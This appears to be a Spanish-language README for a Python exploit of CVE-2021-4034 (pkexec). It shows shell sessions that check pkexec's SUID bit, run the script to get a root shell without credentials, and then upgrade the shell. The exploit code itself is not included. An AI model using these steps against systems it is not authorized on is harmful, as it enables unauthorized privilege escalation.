CVE-2021-4034

CVE-2021-4034 (pkexec) El uso de este script en python aprovecha la vulnerabilidad en el archivo pkexec para ganar acceso a root sin proporcionar credenciales

· Detecta si el binario tiene los privilegios SUID, en este caso es vulnerable

usuario@gatogamer $ ls -la /usr/bin/pkexec
.rwsr-xr-x 1 root root /usr/bin/pkexec
usuario@gatogamer $
  

· Ejecuta el exploit para ganar acceso a root, en este caso solo es necesario ejecutarlo con python3, al terminar tendrás una consola como root

usuario@gatogamer $ python3 CVE-2021-4034.py
 [+] Iniciando el exploit
 [+] Exploit Completado
# whoami
root
#
  

· Como complemento, puedes cambiar el valor de TERM, puede ser a 'xterm' o 'xterm-256color' para mejor estética, además ejecutar una shell diferente ya sea 'bash' o 'zsh', ahora tenemos una consola completamente interactiva

# export TERM=xterm-256color
# zsh
root@gatogamer $